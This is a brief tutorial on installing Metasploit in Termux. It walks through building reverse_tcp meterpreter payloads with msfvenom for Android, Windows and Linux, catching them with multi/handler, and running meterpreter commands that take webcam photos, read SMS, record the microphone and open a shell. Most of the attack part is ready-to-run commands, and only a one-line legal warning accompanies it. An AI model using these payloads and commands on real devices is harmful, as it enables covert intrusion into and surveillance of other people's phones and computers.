Metasploit Full Guide in Termux
What is Metasploit?
Metasploit Framework is an open-source platform for penetration testing, finding vulnerabilities, exploiting
targets, and post-exploitation. It provides tools for ethical hacking and cybersecurity research.
How Metasploit Works
Metasploit has five main components:
- Exploits: Code that targets vulnerabilities.
- Payloads: Code that runs after a successful exploit (e.g., reverse shell).
- Encoders: Help hide payloads from antivirus.
- Nops: Used for shellcode padding and alignment.
- Auxiliary: Tools like scanners, sniffers, fuzzers.
Metasploit Modules
- Exploits: Attack modules.
- Payloads: Reverse shells, meterpreter.
- Auxiliary: Scanners, sniffers, etc.
- Post: Actions after a session is active.
- Encoders and Nops: Obfuscation and padding.
Installation in Termux
1. Update and install packages:
pkg update && pkg upgrade -y
pkg install wget curl git ruby python -y
2. Add unstable repo:
Metasploit Full Guide in Termux
pkg install unstable-repo
3. Install Metasploit:
pkg install metasploit -y
4. Start it:
msfconsole
Basic Commands
- help: Show help menu
- search <name>: Search for exploit/module
- use <path>: Load a module
- set <option> <value>: Set required values
- exploit/run: Start the attack
Example: Android Exploit
1. Create payload:
msfvenom -p android/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -o [Link]
2. Start Metasploit:
msfconsole
3. Use multi handler:
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST <IP>
set LPORT 4444
exploit
Metasploit Full Guide in Termux
Meterpreter Commands
- sysinfo: System info
- webcam_snap: Take photo
- dump_sms: Read SMS
- record_mic: Record audio
- shell: System shell
- download/upload: Transfer files
Payload Examples
- Android:
msfvenom -p android/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -o [Link]
- Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f exe > [Link]
- Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f elf > [Link]
Legal Warning
Use Metasploit only on systems you own or are authorized to test. Unauthorized access is illegal and
unethical. This guide is for educational purposes only.